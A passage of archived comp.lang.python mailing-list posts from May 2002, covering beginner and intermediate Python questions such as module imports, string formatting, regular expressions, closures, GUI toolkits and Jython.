simple and efficient. NB such an app is overkill for my intended use, but I'm considering it as a learning exercise. I suspect that adressing individual bits in Python will not be worth the effort, but I eagerly await responses to your query. >a novice in this area :) Another novice (but manyvirtues) -- John W Hall Calgary, Alberta, Canada. "Helping People Prosper in the Information Age" From martin at v.loewis.de Fri May 10 02:41:43 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 10 May 2002 08:41:43 +0200 Subject: Is there such a thing as an ordered dict? References: Message-ID: VanL writes: > Is there some sort of halfway-dict halfway-list that could be > accessed by key *and* by position? Ask Google: http://www.google.de/search?q=Python+ordered+dictionary The first hit gives http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/107747 HTH, Martin From lists at weissinger.org Thu May 9 22:53:46 2002 From: lists at weissinger.org (A. Keyton Weissinger) Date: Thu, 9 May 2002 22:53:46 -0400 Subject: Which GUI Library to Use In-Reply-To: Message-ID: Hi Folks, I am beginning work on what will likely turn into a fairly large GUI-based application and would like your thoughts on which library to use: A) Tk Only B) Tk with Python Mega-widgets or similar (i.e. Tk with some other stuff) C) Qt (BlackAdder just announced the incorporation of Qt3 into BA) D) wxPython I want to get the best combination of easiest to install most feature rich and do not have enough experience with the non-Tk libraries. Thank you!!!! Keyton From fredrik at pythonware.com Mon May 20 06:12:15 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 20 May 2002 10:12:15 GMT Subject: string module References: Message-ID: <3_3G8.8070$p56.2287391@newsb.telia.net> Fernando P?rez wrote: > Now, at the interactive python prompt: > > [~]> python > Python 2.2 (#1, Feb 24 2002, 16:21:58) > [GCC 2.96 20000731 (Mandrake Linux 8.2 2.96-0.76mdk)] on linux-i386 > Type "help", "copyright", "credits" or "license" for more information. > strop > >>> import string > >>> string.__file__ > '/usr/lib/python2.2/string.py' > >>> print string.uppercase > ABCDEFGHIJKLMNOPQRSTUVWXYZ?????????????????????????????? > >>> > > But running the following file: > > import string > print string.__file__ > print string.uppercase > > I get: > > [~]> python t.py > strop > /usr/lib/python2.2/string.py > ABCDEFGHIJKLMNOPQRSTUVWXYZ > > > Why the difference? the readline library might be messing up the locale. From fperez528 at yahoo.com Sun May 12 04:55:37 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 12 May 2002 02:55:37 -0600 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: Message-ID: David LeBlanc wrote: > It's also worth noting that there are a lot of > tools that know that syntax (setting aside the # of course) already and zero > to none that know "-*-...". Assuming of course that the relatively rare and unknown text editor Emacs doesn't count ;) cheers, f. From andrewm at object-craft.com.au Tue May 21 21:39:41 2002 From: andrewm at object-craft.com.au (Andrew McNamara) Date: Wed, 22 May 2002 11:39:41 +1000 Subject: Is python really slow? In-Reply-To: Your message of "Wed, 22 May 2002 11:22:53 +1000." <20020522112253.C4474@regdp-02.intint.registriesltd.com.au> Message-ID: <20020522013941.32B0338F50@coffee.object-craft.com.au> >By the way, C is a "small" language and not hard to learn. It might be >hard to learn to program *well* in it, but that's another story. :-) Well, not really - this is almost the central issue: C code goes wrong in subtle ways (eg, double-free() of a pointer, over-indexing an array), Python doesn't (usually). When it goes wrong, Python encourages interactive exploration of your code, whereas C, you have go into the time consuming "edit-compile-debug-iterate" phase. If you're new to programming, a language like Python would seem to be the right place to start. -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From sjmachin at lexicon.net Mon May 6 19:40:20 2002 From: sjmachin at lexicon.net (John Machin) Date: 6 May 2002 16:40:20 -0700 Subject: Trying to use "Programming Python" (Lutz), getting module errors. References: <84773476.0205052134.8c1d533@posting.google.com> <6c92a8bc.0205060225.46b1c6c9@posting.google.com> Message-ID: "Steve Holden" wrote in message news:... > "Tiberius Teng" wrote in message > news:6c92a8bc.0205060225.46b1c6c9 at posting.google.com... > > robline at purdue.edu (Rob Lineberger) wrote in message > news:<84773476.0205052134.8c1d533 at posting.google.com>... [Rob Lineberger] Tried setting PYTHONPATH to C:\Python22\Lib but that didn't work either. -> PYTHONPATH should include that already. [Tiberius Teng] However if you put your spam.py in C:\Python22\Lib then typing 'import spam' inside Pythonwin / IDLE should work ... -> Ugh. *DON'T* put your own files in there. Do you really want to run the risk of overwriting a Python-supplied file with one of your own? Also think ahead to when the next version of Python comes out. Do you really want to have to move all your files to c:\python23\lib ? How will you know which are yours? [Rob Lineberger] I'm trying to learn Python [Steve Holden] ... writing a site-specific /Lib/sitecustomize.py -> Correct, but is this useful advice to a newbie at the level of "can't work out where to put his module so that he can import it"? Here's an alternative: 1. Make a directory called (say) c:\mypy. 2. Save spam.py in c:\mypy 3. Fire up a DOS box / Command Prompt / whatever window. 4. DOS_prompt> cd \mypy 5. DOS_prompt> python 6. >>> import spam 7. >>> spam.some_function() From sdm7g at Virginia.EDU Wed May 22 19:12:10 2002 From: sdm7g at Virginia.EDU (Steven Majewski) Date: Wed, 22 May 2002 19:12:10 -0400 Subject: y=if x>High: 2 elif x References: <315ea996.0205221339.1976f50e@posting.google.com> <3CEC15F0.DF78A4F@earthlink.net> <3CEC1D26.AF0CE2FB@earthlink.net> Message-ID: On Wed, 22 May 2002, Hans Nowak wrote: > Andrew Dalke wrote: > > > Hans Nowak wrote: > > >It may be possible to put everything on one line using > > >some obfuscated functional idiom, but I won't go there. :-) > > > > No problem, I will > > > > y = (x>high)*2 + (x > > > This assumes low <= high. > > > > But please don't use this in real code. > > Ah, well, this seems kinda alright... I was thinking along the > lines of the infamous > > (a and [b] or [c])[0] > > idiom... I don't know if a variant of this is possible in this > case, and probably don't want to know. :-) > I prefer: >>> ( 2, 1, 0 )[ [ x > hi, x < low, 1 ].index(1)] as more readable, although the lambda functional version gets a bit more baroque: >>> (lambda x: (2,1,0)[(lambda x: [x > hi, x < low, 1])(x).index(1)])(arg) -- Steve Majewski From julia.bell at jpl.nasa.gov Thu May 16 10:23:24 2002 From: julia.bell at jpl.nasa.gov (Julia Bell) Date: Thu, 16 May 2002 07:23:24 -0700 Subject: embed data inside string References: <3CE3337F.7CA0D11B@sbcglobal.net> Message-ID: <3CE3C0DC.571F2415@jpl.nasa.gov> Thanks for all of the responses. I recognize that the formatted strings are just as simple as the example line I gave using the concatenation. (I just used the simple example to demonstrate the point). My actual application is more complex (lots of escaped characters, combination of single and double quotes, etc. - just a messy string to be creating - so I was hoping to at least eliminate the parts of the definition that involved leaving the quoted portion to evaluate the parameter). But, from the responses it looks like the concatenation I'm using is probably the easiest way to go. Thanks for the suggestions. Julia Bell Bengt Richter wrote: > On Thu, 16 May 2002 04:19:43 GMT, Julia Bell wrote: > > >I can create a string from a mixture of quoted strings and data with > >something like: > >mystring = "Value of parameter = " + parameter + " is unexpected" > >(where parameter is a variable holding a string value) > >Is there a way to embed the VALUE of the parameter in the string from > >within the quotes (essentially avoiding concatenating strings)? > >(I don't want to use formatted strings - I'm looking for something to > >simplify the line.) > > > >In perl I would have used: > >$mystring = "Value of parameter = $parameter is unexpected" > >(inside double quotes, the $parameter variable is evaluated, and it's > >value is embedded in the string) I'm looking for something similar in > >python where I can refer to the value of the parameter inside a string. > > > >Julia Bell > > > > "%(someName)s" % vars() > > will get someName from local variables and format it into the string with %s format, > e.g., > > >>> parameter = '' > >>> mystring = 'value of parameter = %(parameter)s is unexpected' % vars() > >>> mystring > 'value of parameter = is unexpected' > > you could also use other format specs for variables, and get them from an object, > e.g. %6.4f, and math respectively: > > >>> import math > >>> math.pi > 3.1415926535897931 > >>> "pi is approximately %(pi)6.4f" % vars(math) > 'pi is approximately 3.1416' > > See > http://www.python.org/doc/current/lib/typesseq-strings.html > for more (which could be made easier to find IMO ;-) > > Regards, > Bengt Richter From starx at pacbell.net Sun May 5 14:03:44 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 5 May 2002 18:03:44 GMT Subject: Global variables in different moduls References: <3cd56d91_1@goliath2.newsgroups.com> Message-ID: jb || Sun 05 May 2002 10:44:52a: > I have a module globals.py, where I store som global variables, for > example the variable . So the first line of globals.py is > > x = None > > The module globals.h is imported in the module main.py and other.py > (and in several other modules). > > Now when the main program starts in main.py, the first statement is > > x=3 > > but later in other.py still has the value None. Am I making a > mistake somewhere or is this normal? > > Just a little bit of a mistake =). The thing is, import only makes the name following the keyword immediatly available where you put it. So the name 'x' that you're using is still a local variable, and that's where your problems are coming from. But you generally treat modules like objects, so you can say: # in one file: import globals globals.x = 3 # ... # later in another file: import globals print globals.x If you really want that 'x' variable 'right here, so i can use it without a prefix', what you want is either: from globals import x or from globals import * # Generally Not Reccomended ... i would generally not recommend doing either with such a small variable name anyway (not that i reccomend using small variable names in most cases =). If you have used C before, you are probably used to the #include statment that basically copies all of the text in one file into another. There's nothing exactly like that in python, 'from x import *' is the closest thing. In python, we can do better =). Oh, one more tiny thing. Don't name your module globals. There's a built-in function of the same name, returns a dictionary of the current global variables. Not much use until you need to spawn an interperter window or do some kind of (restricted) execution, but then you'll suddenly have 'module is not a function' errors that don't really make any sense (been there, done that). Don't use glob, it's a standard module... maybe 'glo', or 'project'. 'config' is popular, but I would only use it if the file contained a bunch of initilizations and contants that the user could tweak to change the behaviour of the program. Anyway, good luck =) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From claird at starbase.neosoft.com Fri May 10 09:48:40 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 10 May 2002 08:48:40 -0500 Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <7RJC8.43000$zW3.495820@news1.tin.it> Message-ID: In article <7RJC8.43000$zW3.495820 at news1.tin.it>, Alex Martelli wrote: >Chris wrote: > >> Linux magazine seems to have a lot of interest in Python, perhaps you >> could somehow bundle with them? > >*blink* I believe LM ran their first ever Python article in April (by >an interesting quirk it ran in the same issue as an excellent Ruby one >by Thomas & Hunt, too -- I wasn't told about that and neither, I think, >were T&H). Apparently in reaction to good reader acceptance of that, I >was then asked for another article in a rush, and we're now putting the >final touches on it for appearance in July. But that's still a grand >total of two (2) articles over the whole lifetime of LM. And I'm not >privvy to other Python plans of theirs as yet. How do you extrapolate >from that to "a lot of interest"? Am I missing something...? > > >Alex > Ha! Somebody miscalibrated the "detect Py-article" threshold on the martellibot. In December, Bob interviewed Guido . In September, a year earlier, the editors chose Python third, behind P*** and P**, as a "Web development language" . June 1999 included a "Whirlwind Tour" of Zope . Last year's "Network Device Interrogation" includes a brief mention of Python, and even a bit of code (I think; or maybe that was cut before publication ...). I'm fairly sure I can find other examples. *Linux Magazine France* has given good attention to Python. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From peter at engcorp.com Fri May 17 00:19:01 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 17 May 2002 00:19:01 -0400 Subject: Python & CuteFTP TE COM Object Anyone?! References: Message-ID: <3CE484B5.81501A89@engcorp.com> "Peter F. Ferris" wrote: > > Does anybody on the list have any experience with the Windows GUI app > "CuteFTP" (Pro or not) and scripting with Python. I'm afraid not. What advantages would it have over just using the standard Python FTP support directly? -Peter From shalehperry at attbi.com Fri May 17 13:57:55 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Fri, 17 May 2002 10:57:55 -0700 (PDT) Subject: Bug in regular expressions ? In-Reply-To: <20020517175527.76c55aea.christophe.delord@free.fr> Message-ID: > > So A|B and B|A are not always equivalent. When A and B match, B is ignored > even if the matched text is longer. > Is this a bug in the re module? > Is there a way to tell re to be "totaly greedy"? > $ perl -e '$foo="aa";$foo =~ m/(a|aa)/; print $1."\n"' a $ perl -e '$foo="aa";$foo =~ m/(aa|a)/; print $1."\n"' aa Note the perl behaviour is the same. >From the python library reference: ``|'' `A|B', where A and B can be arbitrary REs, creates a regular expression that will match either A or B. An arbitrary number of REs can be separated by the `|' in this way. This can be used inside groups (see below) as well. REs separated by `|' are tried from left to right, and the first one that allows the complete pattern to match is considered the accepted branch. This means that if `A' matches, `B' will never be tested, even if it would produce a longer overall match. In other words, the `|' operator is never greedy. To match a literal `|', use "\|", or enclose it inside a character class, as in "[|]". From news at recombinant.demon.co.uk Wed May 1 14:41:23 2002 From: news at recombinant.demon.co.uk (Stephen D Evans) Date: Wed, 1 May 2002 19:41:23 +0100 Subject: Buffer growth, lazy opitimization Message-ID: <1020278511.22600.0.nnrp-01.d4e54907@news.demon.co.uk> (Not knowing anywhere better to send this observation, I'll post it to the python newsgroup) I have had a look at the 'Interpreter Changes and Fixes' in the Python 2.3 documentation (release 0.01) http://www.python.org/dev/doc/devel/whatsnew/node6.html Growing string buffers was mentioned as being 'mildly exponential'. A very quick look in the Python CVS at python/dist/src/Objects/fileobject.c showed that two different methods of buffer reallocation were being used in this source file - fixed increment and doubling. Learning from other people's experience I tend to use a factor of 1.5 for buffer size increments. For large buffers this is faster than a fixed increment and does not overshoot and run into memory limitations (virtual, exhaustion) as readily as a factor of 2. This may require floating point or division arithmetic, but it is fast when compared to a malloc/free cycle or going virtual unnecessarily. For a decent argument I would refer anyone to the end of Item 13 on lazy optimization in More Exceptional C++ by Herb Sutter, Addison Wesley 2002. This in turn refers to an article by Andrew Koenig in the September 1998 issue of JOOP (Journal of Object-Oriented Programming). Stephen D Evans From programisci at NOSPAM.murator.com.pl Wed May 8 07:21:26 2002 From: programisci at NOSPAM.murator.com.pl (Johann) Date: Wed, 08 May 2002 13:21:26 +0200 Subject: python: cross-platform? References: <3CD7F74A.197E5CB8@millfilm.co.uk> Message-ID: On Tue, 07 May 2002 09:12:59 -0700 (PDT), "Sean 'Shaleh' Perry" wrote: >An important thing to remember is file paths change on each OS. You do not need to remeber it if you will use non-os-dependent functions of os library rather than os.path: import os print os.sep, os.curdir, os.pardir, os.pathsep -- Johann From tjreedy at udel.edu Thu May 2 14:11:40 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 02 May 2002 18:11:40 GMT Subject: Theoretical question about Lambda References: <3CD0DCD6.4050403@vip.fi> Message-ID: "Alex Martelli" wrote in message news:vgeA8.40079$8D3.1169254 at news1.tin.it... > Bengt Richter wrote: > > A thought: being ble to do it in an expression allows taking advantage > > of short-circuit evaluation to avoid some problem in a lambda def form > > vs another. > > ...while doing it with a def would let you much more easily with > an appropriate if/else: > > if doitoneway: > def foo(): return whatever > else: > def foo(): return somethingelse > > > What do you think re short circuit evaluation vav lambda? > > Given the lack of a ternary operator in Python (insert appropriate > smiley fraction here), if/else is much more comfortable for this. This is a matter of taste, not objectivity. Given that bool(function) == True for every function, the and/or ternary construction -- which Python *does* have -- is, for short expressions, easy, quicker to write, and slightly safer (due to not redundantly typing the function name twice, as with +=, etc.): foo = doitoneway and (lambda: whatever) or (lambda: somethingelse) It saves screen/page lines and to me is easier to grasp. Terry J. Reedy From phr-n2002a at nightsong.com Tue May 14 01:04:31 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 13 May 2002 22:04:31 -0700 Subject: which db should I use? References: <7x4rhbplnc.fsf@ruckus.brouhaha.com> Message-ID: <7x8z6nmiao.fsf@ruckus.brouhaha.com> Oops, meant www.webglimpse.org (.net is the commercial version). Heh. From giles_brown at hotmail.com Sat May 25 09:10:29 2002 From: giles_brown at hotmail.com (Giles Brown) Date: 25 May 2002 06:10:29 -0700 Subject: Emulating Pascal input References: Message-ID: <57de9986.0205250510.f23789a@posting.google.com> Andrei Kulakov wrote in message news:... > In article , > Michael Williams wrote: > > Hi, > > > > We're currently running a trial implementation of a teaching course in > > Python here at the University of Oxford Physics department. The current > > course uses Pascal and, although it works well, is obviously sub-optimal > > for a modern undergraduate education. > > > > Details of the results of the trial will be posted to EDU-sig when it is > > complete, but for now we're trying to address what we see as a > > limitation of Python for introductory programming, namely input. > > > > Consider the following Pascal code: > > > > (******** Pascal code **********) > > (* Pascal ascii input of numbers: stdin and file *) > > readln(x, y); > > readln(fin, x, y); > > > > The first line is for stdin, the second for from file. The variables > > x and y will then contain the first two white space separated numbers > > the program encounters when that function is called. > > > > Here's how we're currently getting students to do the equivalent in > > Python: > > > > ######### Python code ########### [OP code snipped] Heres another variant where you specify the types of the input as a list of conversion functions. def readln(file_, converters, *splitargs): fields = file_.readline().split(*splitargs) assert len(fields) == len(converters) result = [] for field, converter in zip(fields, converters): result.append(converter(field)) return result # Example usage x, y = readln(open("myfile.txt"), [int, float]) a, b, c = readln(sys.stdin, [str, float, long], ',') From BPettersen at NAREX.com Tue May 7 18:28:20 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Tue, 7 May 2002 16:28:20 -0600 Subject: survey: is shelve broken? should it be fixed? Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192158E38@admin56.narex.com> > From: holger krekel [mailto:pyth at devel.trillke.net] [snip] > > Might i ask whether you read my suggestion to > implement the "smart"-switch at the global module level? I'm -1 on this (in case I want to open both regular and read-only files). -- bjorn From irmen at NOSPAMREMOVETHISxs4all.nl Thu May 9 03:54:36 2002 From: irmen at NOSPAMREMOVETHISxs4all.nl (Irmen de Jong) Date: Thu, 9 May 2002 09:54:36 +0200 Subject: Python Enterprise Objects References: Message-ID: "Wenshan Du" wrote in message news:e786d63d.0205081747.ba28f3c at posting.google.com... > hi,all > I like python very much, but I find that python is not very suitable > for enterprise application for now. So, I make a project named Python > Enterprise Objects for enterprise application at sourceforge.net. I > want it to be a replacement of J2EE, or Mirosoft .Net framework. Some > API will added. I need some advice about how to make this dream to > fact. Have you taken a look at ZOPE at all? (http://www.zope.org/Documentation). This may already be wat you want. From BPettersen at NAREX.com Wed May 15 15:46:51 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Wed, 15 May 2002 13:46:51 -0600 Subject: Debugging my Python extensions (win32) Message-ID: <60FB8BB7F0EFC7409B75EEEC13E2019221517C@admin56.narex.com> So I've created my Python extension modules, and compiling them in release mode I can call into them and all is well... except there is a bug in one of the methods. Question: "how do I debug this?" I've tried compiling Python in debug mode as well as my extension, but that didn't let me put a breakpoint in my extension class. I'm thinking I need to compile Python with static libraries (and include my extension in the Python executable). This seems like a pain however, so I figured I ask if I'm headed in the right direction or if I'm missing something simple... -- bjorn From aleax at aleax.it Wed May 1 03:08:22 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 07:08:22 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: James J. Besemer wrote: ... > The basic regex operators are similar to Python's, though Perl adds some > extras such as > > {n,m} # preceeding pattern matches at least n but no more than m > {times This tends to confirm my impression that people who consider Perl's re's preferable may not fully understand Python's: >>> a35=re.compile('^a{3,5}$') >>> print a35.match('aa') None >>> print a35.match('aaa') <_sre.SRE_Match object at 0x8186698> >>> print a35.match('aaaa') <_sre.SRE_Match object at 0x8186950> >>> print a35.match('aaaaa') <_sre.SRE_Match object at 0x8186960> >>> print a35.match('aaaaaa') None >>> Python re's imitate Perl's closely enough that this is a rather unPythonic arrangement -- the upper bound is *included* (Python's ranges, slices etc have lower-bound-included, upper-bound-excluded...). Alex From fperez528 at yahoo.com Sat May 18 04:26:20 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sat, 18 May 2002 02:26:20 -0600 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> Message-ID: James J. Besemer wrote: > I understood you perfectly and I (re)submit that your needs as stated can be > met equally well by a set implementation that happen to be immutable. Well, I think you misunderstood me simply because I'm perfectly aware of the idea you're stating here and I thought I had made that much clear (I'm obviously not having much success with clarity today). In fact, another post of mine on this same thread included: > Maybe for implementation reasons it will be practical to have them be > _internally_ immutable and have them 'simulate' mutability like strings do > (s = 'hi'; s+='ho' works 'in place' even though it doesn't ;) So I know perfectly well that immutable objects can simulate in-place operations. The question is whether the performance hit you take is significant or not. Since it _can_ be (try a large loop on a string with += and watch your machine hit a wall), I tend to be of the opinion that unless there's a compelling reason to make the objects immutable, one is better off by not forcing the performance penalty. Simply because it makes the language more scalable and worry-free. I personally would rather have mutable sets which can't be used as dict keys, but I'm sure someone else might prefer the exact opposite. So just to make sure I'm clear: yes, I know that mutability can be simulated to death with immutable objects, and I've known all along how strings work. The point is that there is a non-negligible penalty to be paid by doing things that way for large objects. So the issue is not whether it can be done or not, but whether the existence of that penalty tilts the decision in favor of making them mutable and thus paying the price of losing hashability. And by the way, when you say 'Creating a new one each time SOUNDS like a lot more work but in practice I bet it won't be', I hope you don't really mean that. If you deal routinely with sets with 2**N (N>>30) elements, a copy operation for simulating += can be prohibitive. Why do you think that Numeric's arrays implement [a:b] slicing as a reference and not a copy operation (which bites most newbies _hard_)? If Numeric arrays behaved like Python lists (where [a:b] is a copy operation) they would be perfectly useless for numerical computing. Imagine writing the standard relaxation solution for the Laplace equation --a handful of lines of Numeric code-- with your 'I bet in practice it's not more work' and guess what will happen ;) That is the crux I'm trying to point you to, not whether you can _simulate_ in-place operations with immutable objects. We've known that all along. Cheers, f. PS. In case you are curious, for the 2d case the meat of the Laplace code is as simple as: # The actual iteration u[1:-1, 1:-1] = ((u[0:-2, 1:-1] + u[2:, 1:-1])*dy2 + (u[1:-1,0:-2] + u[1:-1, 2:])*dx2)*dnr_inv You can see a complete, detailed discussion at http://www.scipy.org/site_content/weave/python_performance.html From fperez528 at yahoo.com Thu May 2 13:39:00 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 02 May 2002 11:39:00 -0600 Subject: Unpacking a python list in C? References: <3CD16F64.F2146F70@wag.caltech.edu> Message-ID: Richard P. Muller wrote: > I need some help with extending python in C. I want to call a function > of a list from python: > > answer = my_function(my_list) > > where my_function is a function, and my_list is a python list of floats. > I want my_function to be a C function, and want to extract my_list into > an integer length and a double * pointing to the values. I spent some > time searching through the extension guide in the docs, but either this > isn't there or I missed the section in which it is discussed. I also > flipped through a few of my python books without luck. > > Could some kind soul take pity on me and tell me how to do this? Thanks > in advance... > > Rick Alex gave you the -perfectly correct- low-level answer. Now for the easy one ;) Use weave: http://scipy.org/ I assume (you are doing quantum chemistry after all) that everyting you do is done with Numeric arrays (not real python lists), or can be done that way (since you are going to convert to double *, this sounds like a valid assumption). In that case, weave with the blitz converters makes short work of this kind of problem. Here: http://windom.colorado.edu/~fperez/python/misc/python-c.pdf you'll find a pdf with a simple illustrative example, and here: http://windom.colorado.edu/~fperez/python/misc/weave_examples.html is some example code I wrote when teaching myself this stuff. If you change .html for .py in the above url you'll get a plaintext version you can save as code for yourself. Please note that this code requires CVS weave to work. I'm not trying to demean Alex's solution, but for typical scientific computing problems there's a very good chance you can completely bypass writing at such a low level by using weave's various tools. It can be a huge time-saver. Cheers, f. From kragen at pobox.com Mon May 20 20:56:45 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 20 May 2002 20:56:45 -0400 Subject: Zaurus and Python, a good combination References: Message-ID: <83661ipbci.fsf@panacea.canonical.org> "David LeBlanc" writes: > ppc = Pocket PC Oh, sorry --- I assumed you meant the other PPC. > Speaking of power, I saw some mention that the new x-scale arm processors > use less power at 2x the speed of the current arm processor. Damn - more > battery life! :-) That's awesome! It's too bad Intel crushed Digital with their patents. The StrongARM was significantly faster than the x86 line (for integer code) when it was introduced, but it hadn't gotten any faster in five years or so. Perhaps if Digital was still around, we'd have 2GHz StrongARMs now. From nhodgson at bigpond.net.au Fri May 3 19:47:15 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Fri, 03 May 2002 23:47:15 GMT Subject: Python vs. Perl, which is better to learn? References: <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: <7kFA8.79936$o66.252317@news-server.bigpond.net.au> Brett g Porter: > Come, now. > The first external release of C++ was in Feb of 1985. What 'important > operating systems' have been written since 1985? Microsoft's Internet Explorer operating system is mostly written in C++ and exposes its services as C++ vtables (COM). It relies upon lower level program loaders (known as Windows, MacOS, and Solaris) which are written in bit-banging primitive languages but that is an unimportant implementation detail. Neil From rob Wed May 22 13:25:12 2002 From: rob (Rob Andrews) Date: Wed, 22 May 2002 17:25:12 GMT Subject: Jython Swing Basics article References: <0O7zTzsxerl5-pn2-bxFgitwzkY47@localhost> <0O7zTzsxerl5-pn2-jQr8JMxPDCgd@localhost> Message-ID: > > If you haven't already, you may want to post your demo in > comp.lang.java.programmer, also. Good thinking. I've also uploaded the first draft of the next article, which is more or less about the software development cycle for people who aren't software engineers: http://uselesspython.com/JoeUselessWritesAProgram.html And I've fixed a few of the site's more glaring problems. Thanks for the input. (Really!) Rob From fperez528 at yahoo.com Wed May 22 17:12:13 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 22 May 2002 15:12:13 -0600 Subject: slice objects vs. [] References: Message-ID: Quinn Dunkan wrote: > This seems to imply that [].__getitem__ should accept a slice object. > Currently I am writing > > def __getitem__(self, k): > if type(k) is type(slice(0)): > return self.data[k.start:k.end] > else: > return self.data[k] > > ... which is awkward, in addition to losing k.step. > > BTW, is there any particular reason slice() is not a type? I expected to be > able to write 'isinstance(k, slice)'. > The docs are a bit outdated, I think. They don't describe __getslice__, which is what you want. Her's an example from my code: import UserList # don't subclass list so this works with Python2.1 class InputList(UserList.UserList): """Class to store user input. It's basically a list, but slices return a string instead of a list, thus allowing things like (assuming 'In' is an instance): exec In[4:7] or exec In[5:9] + In[14] + In[21:25]""" def __getslice__(self,i,j): return ''.join(UserList.UserList.__getslice__(self,i,j)) hth, f From duncan at NOSPAMrcp.co.uk Mon May 13 04:26:59 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Mon, 13 May 2002 08:26:59 +0000 (UTC) Subject: What Exceptions are there? (was: "a better input") References: <080520021314438230%alexis.layton@post.harvard.edu> <1_tC8.40668$zW3.442583@news1.tin.it> <100520021023459171%pecora@anvil.nrl.navy.mil> Message-ID: "Thomas Heller" wrote in news:abh6el$i8lg6$1 at ID-59885.news.dfncis.de: >> You should get a small window popping up with some buttons and a text >> box labelled 'Search for'. Type 'exceptions' into the box, press >> return and click on the second entry 'exceptions - Python's standard >> exception class hierarchy'. > And for the (X)Emacs users: > If you have a recent version of python-mode.el, > type the word 'exceptions' in a python buffer, press F1, > and voila! the same diagram appears. > I also omitted to mention that in 2.2 and later typing: help() and then entering 'exceptions' at the interactive prompt will give the same list, albeit followed by approximately another 1400 lines of output (so you will have to scroll back a long way to see it). Ditto for "import exceptions; help(exceptions)" -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From wilk at flibuste.net Sun May 12 03:52:58 2002 From: wilk at flibuste.net (William Dode) Date: Sun, 12 May 2002 09:52:58 +0200 Subject: jython References: Message-ID: <20020512095258.3ece9bbe.wilk@flibuste.net> Le Sat, 11 May 2002 17:20:55 -0700 "akhar" ?crivait: > I have been reading up on jython, but articles about it are quite rare > and/or old, has there been any significant improvement on jython speed? > and can I presume that with jythonc my scripts can get a boost hence > running at java speed? when you will make java bytecodes from python source, you will have a pure java class and so the speed will depend of the JVM you will use... You will also use all the library of java (swing...) so, all the documentation will come from java. Stop me if i'm wrong > > where can I find recent articles or sites (except jython.org) about > jython? > > -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From marklists at mceahern.com Fri May 17 23:50:19 2002 From: marklists at mceahern.com (Mark McEahern) Date: Fri, 17 May 2002 22:50:19 -0500 Subject: Does Python need "const" ? (Re: PEP 218 Re: ANN: set-0.1 module available) In-Reply-To: Message-ID: [Huaiyu Zhu] > # const reference to mutable object > const a = "abc" > # forbids a = "xyz" > # allows b = a; a += "uvw"; which would set b to "abcuvw". Presumably, you mean: > # allows b = a; b += "uvw"; which would set b to "abcuvw". // mark From never at mind.info Sat May 25 15:32:19 2002 From: never at mind.info (G. Willoughby) Date: Sat, 25 May 2002 20:32:19 +0100 Subject: Grabbing data from my motherboard thermistor? References: Message-ID: >You can probably find the port address(es) either in the mobo documentation >or via something in Window's "settings" dialog. The MB manual reports this as I/O address 294H to 297H :) --g From bokr at oz.net Fri May 17 22:09:12 2002 From: bokr at oz.net (Bengt Richter) Date: 18 May 2002 02:09:12 GMT Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> <4f52f844.0205151504.181f5cf0@posting.google.com> Message-ID: On 17 May 2002 01:01:17 GMT, bokr at oz.net (Bengt Richter) wrote: >On 16 May 2002 23:52:47 GMT, bokr at oz.net (Bengt Richter) wrote: > >>On 15 May 2002 16:04:05 -0700, spam at bugbear.com (Paul Graham) wrote: >> >>>> You can't directly translate that. Access to variable of enclosing >>>> scopes is read only (except in the case of global statements, but that >>>> doesn't help here). >>> >>>It looks as if the closest thing would be something like this, >>>which a Python expert sent me: >>> >>>def foo(n): >>> s = [n] >>> def bar(i): >>> s[0] += i >>> return s[0] >>> return bar >>> >>>Although you can't modify variables from outer scopes, you can >>>modify *parts* of them (which to me seems like the same thing...) >>> >>>The reason this problem seems kind of artificial is that I don't >>>need to solve this actual problem. I heard that recent Python >>>versions had added more support for lexical closures, and was >>>curious how well Python works for the type of programming in >>>Structure and Interpretation of Computer Programs; this is kind >>>of a hello_world of that genre. (It's not a homework problem, >>>I swear.) >>> >>>Incidentally, here is Perl 5 code someone sent me for this case: >>> >>>sub foo { >>> my ($n) = @_; >>> return sub {return $n += $_[0]}} >>> >> >> >>> foo = lambda y:([x for x in [[y]]], (lambda: (x.append(x.pop()+1),x[0])[1]))[1] >> >>> f=foo(20) >> >>> f() >> 21 >> >>> f() >> 22 >> >>> f=foo(-4) >> >>> [f() for x in 'x'*7] >> [-3, -2, -1, 0, 1, 2, 3] >> >> 